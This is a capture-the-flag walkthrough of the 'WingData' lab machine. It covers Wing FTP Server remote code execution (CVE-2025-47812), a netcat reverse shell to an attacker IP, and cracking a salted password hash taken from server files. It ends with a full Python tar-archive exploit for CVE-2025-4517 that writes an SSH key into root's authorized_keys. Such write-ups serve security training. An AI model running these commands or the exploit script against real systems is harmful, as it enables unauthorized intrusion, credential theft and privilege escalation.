WingData
Recon
Nmap port scan:
nmap -sC -sV -p- 10.129.244.106
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-15 05:10 CST
Nmap scan report for 10.129.244.106
Host is up (0.0072s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open http Apache httpd 2.4.66
|_http-title: Did not follow redirect to http://wingdata.htb/
|_http-server-header: Apache/2.4.66 (Debian)
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
After navigating to the website and clicking "Client Portal", I was redirected to "ftp.wingdata.htb".
I added the subdomain to /etc/hosts, refreshed the page, and a login panel for FTP Server v7.4.3 appeared.
Version 7.4.3 is vulnerable to CVE-2025-47812.

Initial access
After downloading the exploit and running it with a test command, the service proved to be vulnerable:
python3 52347.py -u http://ftp.wingdata.htb/ -c "whoami"
[*] Testing target: http://ftp.wingdata.htb/
[+] Sending POST request to http://ftp.wingdata.htb//loginok.html with command: 'whoami' and username: 'anonymous'
[+] UID extracted: 7dbcedfe16be13e2b3d7932ad23547d8f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb//dir.html with UID: 7dbcedfe16be13e2b3d7932ad23547d8f528764d624db129b32c21fbca0cb8d6
--- Command Output ---
wingftp
----------------------
Then I caught a shell:
nc -lvnp 4444
python3 52347.py -u http://ftp.wingdata.htb/ -c "nc 10.10.14.2 4444 -e /bin/bash"
After stabilizing the shell, I moved on to privilege escalation / lateral movement.
Privilege escalation
Wacky
I reviewed files related to the wftpserver service and found several interesting ones:
- /opt/wftpserver/Data/1/users/wacky.xml - contains the password hash of user wacky. If cracked, password reuse might allow SSH login.
<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
<USER>
<UserName>wacky</UserName>
<EnableAccount>1</EnableAccount>
<EnablePassword>1</EnablePassword>
<Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
<ProtocolType>63</ProtocolType>
<....>
</USER>
</USER_ACCOUNTS>
- /opt/wftpserver/Data/1/settings.xml - contains information about the salt used for hashing passwords: "WingFTP"
<?xml version="1.0" ?>
<DOMAIN_OPTION Description="Wing FTP Server Domain settings">
<....>
<TLS_Session_Timeout>3600</TLS_Session_Timeout>
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>
<Enable_Log_Millisecond>0</Enable_Log_Millisecond>
<....>
</DOMAIN_OPTION>
I saved the hash of user wacky into hash.txt in this format:
wacky:32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca$WingFTP
Password cracking:
john --format=dynamic='sha256($p.$s)' --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
The password for user wacky was successfully cracked:!#7Blushing^*Bride5
ROOT
First, I checked sudo permissions for the user:
sudo -l
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
The script restore_backup_clients.py performs the following:
- Takes a .tar file from
/opt/backup_clients/backups - Extracts its contents to
/opt/backup_clients/restored_backups - Uses
filter="data", which should be a safe extraction method
Vulnerability (CVE-2025-4517):
When Python’s os.path.realpath() attempts to resolve a path longer than PATH_MAX (4096 bytes on Linux), it silently fails instead of raising an error. The filter="data" security check uses realpath() to validate paths, so if we can force it to fail, we can bypass the protection mechanism.
import tarfile
import os
import io
with open("/home/kondred0x1/Desktop/WingData/rootkey.pub", "r") as f:
pubkey = f.read().encode()
comp = 'd' * 247 # Long directory name
steps = "abcdefghijklmnop" # 16 levels
path = ""
with tarfile.open("/home/kondred0x1/Desktop/WingData/backup_1001.tar", mode="w") as tar:
# Create long path structure
for i in steps:
a = tarfile.TarInfo(os.path.join(path, comp))
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i))
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)
# Overflow symlink
linkpath = os.path.join("/".join(steps), "l"*254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = "../" * len(steps)
tar.addfile(l)
# Escape to /root/.ssh/authorized_keys
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../root/.ssh/authorized_keys"
tar.addfile(e)
# Hardlink
f = tarfile.TarInfo("flaglink")
f.type = tarfile.LNKTYPE
f.linkname = "escape"
tar.addfile(f)
# Overwrite with SSH key
c = tarfile.TarInfo("flaglink")
c.type = tarfile.REGTYPE
c.size = len(pubkey)
tar.addfile(c, fileobj=io.BytesIO(pubkey))
print("[+] PATH_MAX overflow exploit created")
Then I uploaded the generated file to /opt/backup_clients/backups and executed:
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1337.tar -r restore_pwn
Logged in as root using the SSH key:
ssh -i rootkey root@10.129.244.106
Root access obtained - box pwned.
